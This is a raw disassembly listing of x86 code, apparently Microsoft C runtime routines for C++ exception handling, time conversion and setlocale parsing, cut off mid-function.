ebp, esp push 0FFFFFFFFh push offset dword_4381E0 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax mov [ebp+var_24], 0 mov ecx, [ebp+arg_4] mov edx, [ecx-4] mov [ebp+var_28], edx call sub_423CF0 mov eax, [eax+6Ch] mov [ebp+var_1C], eax call sub_423CF0 mov ecx, [eax+70h] mov [ebp+var_20], ecx call sub_423CF0 mov edx, [ebp+arg_0] mov [eax+6Ch], edx call sub_423CF0 mov ecx, [ebp+arg_8] mov [eax+70h], ecx mov [ebp+var_4], 0 mov [ebp+var_4], 1 mov edx, [ebp+arg_18] push edx mov eax, [ebp+arg_14] push eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_41D170 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], 0 jmp short loc_4281EF ; --------------------------------------------------------------------------- loc_4281BE: ; DATA XREF: .nsp0:004381F0o mov ecx, [ebp+var_14] push ecx call sub_428270 add esp, 4 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_2C], 0 push 0FFFFFFFFh mov [ebp+var_30], 0 lea edx, [ebp+var_10] push edx call sub_41D452 add esp, 8 mov eax, [ebp+var_30] jmp short loc_42825E ; --------------------------------------------------------------------------- loc_4281EF: ; CODE XREF: sub_428120+9Cj mov [ebp+var_4], 0FFFFFFFFh call sub_4281FD jmp short loc_42825B sub_428120 endp ; =============== S U B R O U T I N E ======================================= sub_4281FD proc near ; CODE XREF: sub_428120+D6p ; DATA XREF: .nsp0:004381E8o mov eax, [ebp+0Ch] mov ecx, [ebp-28h] mov [eax-4], ecx call sub_423CF0 mov edx, [ebp-1Ch] mov [eax+6Ch], edx call sub_423CF0 mov ecx, [ebp-20h] mov [eax+70h], ecx mov edx, [ebp+8] cmp dword ptr [edx], 0E06D7363h jnz short locret_42825A mov eax, [ebp+8] cmp dword ptr [eax+10h], 3 jnz short locret_42825A mov ecx, [ebp+8] cmp dword ptr [ecx+14h], 19930520h jnz short locret_42825A cmp dword ptr [ebp-24h], 0 jnz short locret_42825A cmp dword ptr [ebp-2Ch], 0 jz short locret_42825A call sub_41D4BA push eax mov edx, [ebp+8] push edx call sub_428540 add esp, 8 locret_42825A: ; CODE XREF: sub_4281FD+28j ; sub_4281FD+31j ... retn sub_4281FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428120 loc_42825B: ; CODE XREF: sub_428120+DBj mov eax, [ebp+var_2C] loc_42825E: ; CODE XREF: sub_428120+CDj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_428120 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428270 proc near ; CODE XREF: sub_428120+A2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] cmp dword ptr [edx], 0E06D7363h jnz short loc_4282AC mov eax, [ebp+var_4] cmp dword ptr [eax+10h], 3 jnz short loc_4282AC mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 19930520h jnz short loc_4282AC mov edx, [ebp+var_4] cmp dword ptr [edx+1Ch], 0 jnz short loc_4282AC mov eax, 1 jmp short loc_4282AE ; --------------------------------------------------------------------------- loc_4282AC: ; CODE XREF: sub_428270+15j ; sub_428270+1Ej ... xor eax, eax loc_4282AE: ; CODE XREF: sub_428270+3Aj mov esp, ebp pop ebp retn sub_428270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4282C0 proc near ; CODE XREF: sub_428060+22p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4381F8 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_428306 mov ecx, [ebp+arg_8] mov edx, [ecx+4] movsx eax, byte ptr [edx+8] test eax, eax jz short loc_428306 mov ecx, [ebp+arg_8] cmp dword ptr [ecx+8], 0 jnz short loc_42830B loc_428306: ; CODE XREF: sub_4282C0+2Dj ; sub_4282C0+3Bj jmp loc_42852A ; --------------------------------------------------------------------------- loc_42830B: ; CODE XREF: sub_4282C0+44j mov edx, [ebp+arg_8] mov eax, [edx+8] mov ecx, [ebp+arg_4] lea edx, [ecx+eax+0Ch] mov [ebp+var_1C], edx mov [ebp+var_4], 0 mov eax, [ebp+arg_8] mov ecx, [eax] and ecx, 8 test ecx, ecx jz short loc_428386 push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42DE70 add esp, 8 test eax, eax jz short loc_42837C push 1 mov ecx, [ebp+var_1C] push ecx call sub_42DEA0 add esp, 8 test eax, eax jz short loc_42837C mov edx, [ebp+var_1C] mov eax, [ebp+arg_0] mov ecx, [eax+18h] mov [edx], ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+var_1C] mov ecx, [eax] push ecx call sub_4285D0 add esp, 8 mov edx, [ebp+var_1C] mov [edx], eax jmp short loc_428381 ; --------------------------------------------------------------------------- loc_42837C: ; CODE XREF: sub_4282C0+81j ; sub_4282C0+93j call sub_428720 loc_428381: ; CODE XREF: sub_4282C0+BAj jmp loc_428513 ; --------------------------------------------------------------------------- loc_428386: ; CODE XREF: sub_4282C0+6Cj mov eax, [ebp+arg_C] mov ecx, [eax] and ecx, 1 test ecx, ecx jz short loc_42840A push 1 mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_42DE70 add esp, 8 test eax, eax jz short loc_428400 push 1 mov ecx, [ebp+var_1C] push ecx call sub_42DEA0 add esp, 8 test eax, eax jz short loc_428400 mov edx, [ebp+arg_C] mov eax, [edx+14h] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_41D520 add esp, 0Ch mov ecx, [ebp+arg_C] cmp dword ptr [ecx+14h], 4 jnz short loc_4283FE mov edx, [ebp+var_1C] cmp dword ptr [edx], 0 jz short loc_4283FE mov eax, [ebp+arg_C] add eax, 8 push eax mov ecx, [ebp+var_1C] mov edx, [ecx] push edx call sub_4285D0 add esp, 8 mov ecx, [ebp+var_1C] mov [ecx], eax loc_4283FE: ; CODE XREF: sub_4282C0+11Aj ; sub_4282C0+122j jmp short loc_428405 ; --------------------------------------------------------------------------- loc_428400: ; CODE XREF: sub_4282C0+E5j ; sub_4282C0+F7j call sub_428720 loc_428405: ; CODE XREF: sub_4282C0:loc_4283FEj jmp loc_428513 ; --------------------------------------------------------------------------- loc_42840A: ; CODE XREF: sub_4282C0+D0j mov edx, [ebp+arg_C] cmp dword ptr [edx+18h], 0 jnz short loc_428470 push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_42DE70 add esp, 8 test eax, eax jz short loc_428466 push 1 mov edx, [ebp+var_1C] push edx call sub_42DEA0 add esp, 8 test eax, eax jz short loc_428466 mov eax, [ebp+arg_C] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_C] add edx, 8 push edx mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_4285D0 add esp, 8 push eax mov edx, [ebp+var_1C] push edx call sub_41D520 add esp, 0Ch jmp short loc_42846B ; --------------------------------------------------------------------------- loc_428466: ; CODE XREF: sub_4282C0+166j ; sub_4282C0+178j call sub_428720 loc_42846B: ; CODE XREF: sub_4282C0+1A4j jmp loc_428513 ; --------------------------------------------------------------------------- loc_428470: ; CODE XREF: sub_4282C0+151j push 1 mov eax, [ebp+arg_0] mov ecx, [eax+18h] push ecx call sub_42DE70 add esp, 8 test eax, eax jz loc_42850E push 1 mov edx, [ebp+var_1C] push edx call sub_42DEA0 add esp, 8 test eax, eax jz short loc_42850E mov eax, [ebp+arg_C] mov ecx, [eax+18h] push ecx call sub_42DED0 add esp, 4 test eax, eax jz short loc_42850E mov edx, [ebp+arg_C] mov eax, [edx] and eax, 4 test eax, eax jz short loc_4284E5 push 1 mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_4285D0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_41D090 jmp short loc_42850C ; --------------------------------------------------------------------------- loc_4284E5: ; CODE XREF: sub_4282C0+1F8j mov ecx, [ebp+arg_C] add ecx, 8 push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_4285D0 add esp, 8 push eax mov ecx, [ebp+arg_C] mov edx, [ecx+18h] push edx mov eax, [ebp+var_1C] push eax call sub_41D080 loc_42850C: ; CODE XREF: sub_4282C0+223j jmp short loc_428513 ; --------------------------------------------------------------------------- loc_42850E: ; CODE XREF: sub_4282C0+1C3j ; sub_4282C0+1D9j ... call sub_428720 loc_428513: ; CODE XREF: sub_4282C0:loc_428381j ; sub_4282C0:loc_428405j ... mov [ebp+var_4], 0FFFFFFFFh jmp short loc_42852A ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_428670 loc_42852A: ; CODE XREF: sub_4282C0:loc_428306j ; sub_4282C0+25Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4282C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428540 proc near ; CODE XREF: sub_427AB0+252p ; sub_4281FD+55p var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_438208 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp cmp [ebp+arg_0], 0 jz short loc_4285B5 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+4], 0 jz short loc_4285B5 mov [ebp+var_4], 0 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+18h] push eax call sub_41D070 mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4285B5 ; --------------------------------------------------------------------------- mov eax, [ebp+arg_4] and eax, 0FFh neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_428670 loc_4285B5: ; CODE XREF: sub_428540+2Aj ; sub_428540+36j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_428540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4285D0 proc near ; CODE XREF: sub_4282C0+ADp ; sub_4282C0+131p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] add ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jl short loc_42860F mov eax, [ebp+arg_4] mov ecx, [eax+4] mov edx, [ebp+arg_0] mov eax, [edx+ecx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] mov ecx, [ebp+var_4] add ecx, [eax+edx] mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] add eax, [edx+4] mov [ebp+var_4], eax loc_42860F: ; CODE XREF: sub_4285D0+16j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4285D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428620 proc near ; CODE XREF: sub_41D170+4Dp ; sub_427F30+8Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D4DD push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42865F mov ecx, 2 loc_42865F: ; CODE XREF: sub_428620+38j push ecx call sub_41D4DD pop ebp pop ecx pop ebx leave retn 0Ch sub_428620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428670 proc near ; CODE XREF: sub_427AB0:loc_427D43p ; sub_428030:loc_428051p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004286E4 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_438218 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 call sub_423CF0 cmp dword ptr [eax+60h], 0 jz short loc_4286D0 mov [ebp+var_4], 1 call sub_423CF0 call dword ptr [eax+60h] mov [ebp+var_4], 0 jmp short loc_4286D0 ; --------------------------------------------------------------------------- loc_4286C0: ; DATA XREF: .nsp0:00438228o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4286C6: ; DATA XREF: .nsp0:0043822Co mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_4286D0: ; CODE XREF: sub_428670+36j ; sub_428670+4Ej mov [ebp+var_4], 0FFFFFFFFh call sub_4286DE jmp short loc_4286E4 sub_428670 endp ; =============== S U B R O U T I N E ======================================= sub_4286DE proc near ; CODE XREF: sub_428670+67p ; DATA XREF: .nsp0:00438220o call sub_42DF00 retn sub_4286DE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428670 loc_4286E4: ; CODE XREF: sub_428670+6Cj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_428670 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_423CF0 cmp dword ptr [eax+64h], 0 jz short loc_428716 call sub_423CF0 call dword ptr [eax+64h] loc_428716: ; CODE XREF: .nsp0:0042870Cj call sub_428670 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428720 proc near ; CODE XREF: sub_41D380+23p ; sub_41D380:loc_41D3EDp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00428790 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_438230 push offset sub_42A9E4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 cmp off_451A70, 0 jz short loc_42877C mov [ebp+var_4], 1 call off_451A70 mov [ebp+var_4], 0 jmp short loc_42877C ; --------------------------------------------------------------------------- loc_42876C: ; DATA XREF: .nsp0:00438240o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_428772: ; DATA XREF: .nsp0:00438244o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_42877C: ; CODE XREF: sub_428720+34j ; sub_428720+4Aj mov [ebp+var_4], 0FFFFFFFFh call sub_42878A jmp short loc_428790 sub_428720 endp ; =============== S U B R O U T I N E ======================================= sub_42878A proc near ; CODE XREF: sub_428720+63p ; DATA XREF: .nsp0:00438238o call sub_428670 retn sub_42878A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428720 loc_428790: ; CODE XREF: sub_428720+68j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_428720 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4287B0 proc near ; CODE XREF: sub_41DA60+161p var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] sub eax, 76Ch mov [ebp+arg_0], eax cmp [ebp+arg_0], 46h jl short loc_4287D0 cmp [ebp+arg_0], 8Ah jle short loc_4287D8 loc_4287D0: ; CODE XREF: sub_4287B0+15j or eax, 0FFFFFFFFh jmp loc_42889A ; --------------------------------------------------------------------------- loc_4287D8: ; CODE XREF: sub_4287B0+1Ej mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] add edx, dword_451E2C[ecx*4] mov [ebp+var_2C], edx mov eax, [ebp+arg_0] and eax, 3 test eax, eax jnz short loc_428801 cmp [ebp+arg_4], 2 jle short loc_428801 mov ecx, [ebp+var_2C] add ecx, 1 mov [ebp+var_2C], ecx loc_428801: ; CODE XREF: sub_4287B0+40j ; sub_4287B0+46j mov edx, [ebp+arg_0] sub edx, 46h imul edx, 16Dh mov eax, [ebp+arg_0] sub eax, 1 sar eax, 2 mov ecx, [ebp+var_2C] add ecx, edx lea edx, [eax+ecx-11h] imul edx, 18h add edx, [ebp+arg_C] mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 3Ch add eax, [ebp+arg_10] imul eax, 3Ch add eax, [ebp+arg_14] mov [ebp+var_4], eax call sub_42DF20 mov ecx, [ebp+var_4] add ecx, dword_451D48 mov [ebp+var_4], ecx mov edx, [ebp+var_2C] mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov [ebp+var_14], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_C] mov [ebp+var_20], edx cmp [ebp+arg_18], 1 jz short loc_42888B cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_428897 cmp dword_451D4C, 0 jz short loc_428897 lea eax, [ebp+var_28] push eax call sub_42E330 add esp, 4 test eax, eax jz short loc_428897 loc_42888B: ; CODE XREF: sub_4287B0+BAj mov ecx, [ebp+var_4] add ecx, dword_451D50 mov [ebp+var_4], ecx loc_428897: ; CODE XREF: sub_4287B0+C0j ; sub_4287B0+C9j ... mov eax, [ebp+var_4] loc_42889A: ; CODE XREF: sub_4287B0+23j mov esp, ebp pop ebp retn sub_4287B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0B0h cmp dword ptr [ebp+8], 0 jl short loc_4288B5 cmp dword ptr [ebp+8], 5 jle short loc_4288BC loc_4288B5: ; CODE XREF: .nsp0:004288ADj xor eax, eax jmp loc_428C8B ; --------------------------------------------------------------------------- loc_4288BC: ; CODE XREF: .nsp0:004288B3j push 13h call sub_41FB40 add esp, 4 mov dword ptr [ebp-4], 1 mov eax, dword_4EFD44 add eax, 1 mov dword_4EFD44, eax loc_4288DA: ; CODE XREF: .nsp0:004288EBj cmp dword_4EFD48, 0 jz short loc_4288ED push 1 call dword_4F1334 ; Sleep jmp short loc_4288DA ; --------------------------------------------------------------------------- loc_4288ED: ; CODE XREF: .nsp0:004288E1j cmp dword ptr [ebp+8], 0 jz short loc_428931 cmp dword ptr [ebp+0Ch], 0 jz short loc_428911 mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_428C90 add esp, 8 mov [ebp-0A8h], eax jmp short loc_428923 ; --------------------------------------------------------------------------- loc_428911: ; CODE XREF: .nsp0:004288F7j mov eax, [ebp+8] imul eax, 0Ch mov ecx, dword_451B84[eax] mov [ebp-0A8h], ecx loc_428923: ; CODE XREF: .nsp0:0042890Fj mov edx, [ebp-0A8h] mov [ebp-8], edx jmp loc_428C6B ; --------------------------------------------------------------------------- loc_428931: ; CODE XREF: .nsp0:004288F1j mov dword ptr [ebp-14h], 1 mov dword ptr [ebp-0Ch], 0 cmp dword ptr [ebp+0Ch], 0 jz loc_428C63 mov eax, [ebp+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 4Ch jnz loc_428B74 mov edx, [ebp+0Ch] movsx eax, byte ptr [edx+1] cmp eax, 43h jnz loc_428B74 mov ecx, [ebp+0Ch] movsx edx, byte ptr [ecx+2] cmp edx, 5Fh jnz loc_428B74 mov eax, [ebp+0Ch] mov [ebp-9Ch], eax loc_428981: ; CODE XREF: .nsp0:00428B43j push offset asc_43828C ; "=;" mov ecx, [ebp-9Ch] push ecx call sub_42FD60 add esp, 8 mov [ebp-0A0h], eax cmp dword ptr [ebp-0A0h], 0 jz short loc_4289CD mov edx, [ebp-0A0h] sub edx, [ebp-9Ch] mov [ebp-0A4h], edx cmp dword ptr [ebp-0A4h], 0 jz short loc_4289CD mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jnz short loc_4289F3 loc_4289CD: ; CODE XREF: .nsp0:004289A2j ; .nsp0:004289BDj cmp dword ptr [ebp-4], 0 jz short loc_4289EC push 13h call sub_41FBE0 add esp, 4 mov edx, dword_4EFD44 sub edx, 1 mov dword_4EFD44, edx loc_4289EC: ; CODE XREF: .nsp0:004289D1j xor eax, eax jmp loc_428C8B ; --------------------------------------------------------------------------- loc_4289F3: ; CODE XREF: .nsp0:004289CBj mov dword ptr [ebp-10h], 1 jmp short loc_428A05 ; --------------------------------------------------------------------------- loc_4289FC: ; CODE XREF: .nsp0:loc_428A51j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_428A05: ; CODE XREF: .nsp0:004289FAj cmp dword ptr [ebp-10h], 5 jg short loc_428A53 mov ecx, [ebp-0A4h] push ecx mov edx, [ebp-9Ch] push edx mov eax, [ebp-10h] imul eax, 0Ch mov ecx, off_451B80[eax] push ecx call sub_41C2C0 add esp, 0Ch test eax, eax jnz short loc_428A51 mov edx, [ebp-10h] imul edx, 0Ch mov eax, off_451B80[edx] push eax call sub_418D00 add esp, 4 cmp [ebp-0A4h], eax jnz short loc_428A51 jmp short loc_428A53 ; --------------------------------------------------------------------------- loc_428A51: ; CODE XREF: .nsp0:00428A30j ; .nsp0:00428A4Dj jmp short loc_4289FC ; --------------------------------------------------------------------------- loc_428A53: ; CODE XREF: .nsp0:00428A09j ; .nsp0:00428A4Fj push offset asc_438288 ; ";" mov ecx, [ebp-0A0h] add ecx, 1 mov [ebp-0A0h], ecx mov edx, [ebp-0A0h] push edx call sub_42FD20 add esp, 8 mov [ebp-0A4h], eax cmp dword ptr [ebp-0A4h], 0 jnz short loc_428AB9 mov eax, [ebp-0A0h] movsx ecx, byte ptr [eax] cmp ecx, 3Bh jz short loc_428AB9 cmp dword ptr [ebp-4], 0 jz short loc_428AB2 push 13h call sub_41FBE0 add esp, 4 mov edx, dword_4EFD44 sub edx, 1 mov dword_4EFD44, edx loc_428AB2: ; CODE XREF: .nsp0:00428A97j xor eax, eax jmp loc_428C8B ; --------------------------------------------------------------------------- loc_428AB9: ; CODE XREF: .nsp0:00428A83j ; .nsp0:00428A91j cmp dword ptr [ebp-10h], 5 jg short loc_428B0A mov eax, [ebp-0A4h] push eax mov ecx, [ebp-0A0h] push ecx lea edx, [ebp-98h] push edx call sub_41B1F0 add esp, 0Ch mov eax, [ebp-0A4h] mov byte ptr [ebp+eax-98h], 0 lea ecx, [ebp-98h] push ecx mov edx, [ebp-10h] push edx call sub_428C90 add esp, 8 test eax, eax jz short loc_428B0A mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_428B0A: ; CODE XREF: .nsp0:00428ABDj ; .nsp0:00428AFFj mov ecx, [ebp-0A0h] add ecx, [ebp-0A4h] mov [ebp-9Ch], ecx mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jz short loc_428B38 mov ecx, [ebp-9Ch] add ecx, 1 mov [ebp-9Ch], ecx loc_428B38: ; CODE XREF: .nsp0:00428B27j mov edx, [ebp-9Ch] movsx eax, byte ptr [edx] test eax, eax jnz loc_428981 cmp dword ptr [ebp-0Ch], 0 jz short loc_428B5C call sub_428E30 mov [ebp-0ACh], eax jmp short loc_428B66 ; --------------------------------------------------------------------------- loc_428B5C: ; CODE XREF: .nsp0:00428B4Dj mov dword ptr [ebp-0ACh], 0 loc_428B66: ; CODE XREF: .nsp0:00428B5Aj mov ecx, [ebp-0ACh] mov [ebp-8], ecx jmp loc_428C61 ; --------------------------------------------------------------------------- loc_428B74: ; CODE XREF: .nsp0:00428952j ; .nsp0:00428962j ... mov edx, [ebp+8] push edx push 0 push 0 lea eax, [ebp-98h] push eax mov ecx, [ebp+0Ch] push ecx call sub_428F30 add esp, 14h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_428C61 mov dword ptr [ebp-10h], 0 jmp short loc_428BAE ; --------------------------------------------------------------------------- loc_428BA5: ; CODE XREF: .nsp0:loc_428C0Ej mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_428BAE: ; CODE XREF: .nsp0:00428BA3j cmp dword ptr [ebp-10h], 5 jg short loc_428C10 cmp dword ptr [ebp-10h], 0 jz short loc_428C0E mov eax, [ebp-10h] imul eax, 0Ch mov ecx, dword_451B84[eax] push ecx lea edx, [ebp-98h] push edx call sub_41C4C0 add esp, 8 test eax, eax jz short loc_428C05 lea eax, [ebp-98h] push eax mov ecx, [ebp-10h] push ecx call sub_428C90 add esp, 8 test eax, eax jz short loc_428BFC mov edx, [ebp-0Ch] add edx, 1 mov [ebp-0Ch], edx jmp short loc_428C03 ; --------------------------------------------------------------------------- loc_428BFC: ; CODE XREF: .nsp0:00428BEFj mov dword ptr [ebp-14h], 0 loc_428C03: ; CODE XREF: .nsp0:00428BFAj jmp short loc_428C0E ; --------------------------------------------------------------------------- loc_428C05: ; CODE XREF: .nsp0:00428BD8j mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax loc_428C0E: ; CODE XREF: .nsp0:00428BB8j ; .nsp0:loc_428C03j jmp short loc_428BA5 ; --------------------------------------------------------------------------- loc_428C10: ; CODE XREF: .nsp0:00428BB2j cmp dword ptr [ebp-14h], 0 jz short loc_428C3B call sub_428E30 mov [ebp-8], eax push 2 mov ecx, dword_451B84 push ecx call sub_419980 add esp, 8 mov dword_451B84, 0 jmp short loc_428C61 ; --------------------------------------------------------------------------- loc_428C3B: ; CODE XREF: .nsp0:00428C14j cmp dword ptr [ebp-0Ch], 0 jz short loc_428C4E call sub_428E30 mov [ebp-0B0h], eax jmp short loc_428C58 ; --------------------------------------------------------------------------- loc_428C4E: ; CODE XREF: .nsp0:00428C3Fj mov dword ptr [ebp-0B0h], 0 loc_428C58: ; CODE XREF: .nsp0:00428C4Cj mov edx, [ebp-0B0h] mov [ebp-8], edx loc_428C61: ; CODE XREF: .nsp0:00428B6Fj ; .nsp0:00428B96j ... jmp short loc_428C6B ; --------------------------------------------------------------------------- loc_428C63: ; CODE XREF: .nsp0:00428943j call sub_428E30 mov [ebp-8], eax loc_428C6B: ; CODE XREF: .nsp0:0042892Cj ; .nsp0:loc_428C61j cmp dword ptr [ebp-4], 0 jz short loc_428C88 push 13h call sub_41FBE0 add esp, 4 mov eax, dword_4EFD44 sub eax, 1 mov dword_4EFD44, eax loc_428C88: ; CODE XREF: .nsp0:00428C6Fj mov eax, [ebp-8] loc_428C8B: ; CODE XREF: .nsp0:004288B7j ; .nsp0:004289EEj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428C90 proc near ; CODE XREF: .nsp0:00428901p ; .nsp0:00428AF5p ... var_A8 = dword ptr -0A8h var_A0 = dword ptr -0A0h var_9C = byte ptr -9Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_A0] push ecx lea edx, [ebp+var_A8] push edx lea eax, [ebp+var_9C] push eax mov ecx, [ebp+arg_4] push ecx call sub_428F30 add esp, 14h test eax, eax jnz short loc_428CC9 xor eax, eax jmp loc_428E1F ; --------------------------------------------------------------------------- loc_428CC9: ; CODE XREF: sub_428C90+30j push 132h push offset aSetlocal_c ; "setlocal.c" push 2 lea edx, [ebp+var_9C] push edx call sub_418D00 add esp, 4 add eax, 1 push eax call sub_418EF0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_428D00 xor eax, eax jmp loc_428E1F ; --------------------------------------------------------------------------- loc_428D00: ; CODE XREF: sub_428C90+67j mov eax, [ebp+arg_0] imul eax, 0Ch mov ecx, dword_451B84[eax] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, 